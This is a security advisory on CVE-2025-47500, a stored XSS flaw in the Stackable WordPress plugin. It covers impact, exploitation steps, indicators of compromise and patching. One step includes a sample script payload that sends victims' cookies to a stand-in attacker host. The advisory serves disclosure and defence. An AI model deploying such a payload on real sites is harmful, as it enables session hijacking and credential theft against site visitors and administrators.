CVE-2025-47500: 
WordPress vulnerability analysis and mitigation

CVE-2025-47500 is a Stored Cross-Site Scripting (XSS) vulnerability in the Stackable – Ultimate Gutenberg Blocks WordPress plugin developed by Benjamin Intal. It affects all versions of the plugin through 3.19.5 and was reported by researcher "daroo" on December 8, 2025, with public disclosure on January 7, 2026 via Patchstack. The vulnerability was assigned a CVSS v3.1 base score of 5.9 (Medium) by Patchstack, with High privileges required for exploitation (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Stored XSS variant. An authenticated attacker with at least Author-level privileges can inject malicious scripts into content managed through the Stackable Gutenberg blocks, which are then persistently stored and executed in victims' browsers when they visit the affected page. Exploitation requires user interaction — a privileged user must view the crafted content — and the vulnerability has a changed scope, meaning the injected script can affect browser contexts beyond the vulnerable application itself (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript within WordPress pages rendered by the Stackable plugin, which executes in the browsers of any user visiting the affected content. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of victims (including administrators), and defacement or redirection of site visitors. The changed scope of the vulnerability means the impact can extend beyond the WordPress application itself to affect end users' browsers and data (Patchstack).

No evidence of active in-the-wild exploitation has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. Patchstack notes that vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress sites at scale, though this specific issue is rated low priority with no impactful threat currently observed (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Stackable – Ultimate Gutenberg Blocks plugin at version 3.19.5 or earlier, using tools like WPScan or by inspecting page source for plugin indicators.
2. Obtain low-privileged access: Acquire or create an account with at least Author-level privileges on the target WordPress site.
3. Inject malicious payload: Edit or create a post/page using a vulnerable Stackable Gutenberg block and insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into an insufficiently sanitized block attribute or field.
4. Publish content: Save and publish the post/page, causing the malicious script to be stored in the WordPress database.
5. Trigger execution: When a victim (including administrators) visits the affected page, the stored script executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Patchstack).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API (/wp-json/wp/v2/posts) containing encoded script tags or JavaScript event handlers within block content fields.
• File System / Database: WordPress database entries in wp_posts or wp_postmeta containing unexpected <script> tags, javascript: URIs, or obfuscated payloads within Stackable block markup.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages with Stackable blocks, potentially carrying cookie or session data in query parameters.
• Process/Behavior: Unexpected admin account creation, password changes, or plugin installations following administrator visits to affected pages, which may indicate successful session hijacking via the XSS payload.

The vulnerability is patched in Stackable – Ultimate Gutenberg Blocks version 3.19.6. Site administrators should update the plugin to version 3.19.6 or later immediately via the WordPress dashboard or by downloading the updated plugin from the WordPress plugin repository. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard. If immediate update is not possible, restricting Author-level and above account creation and reviewing existing contributor accounts for suspicious activity is advised (Patchstack).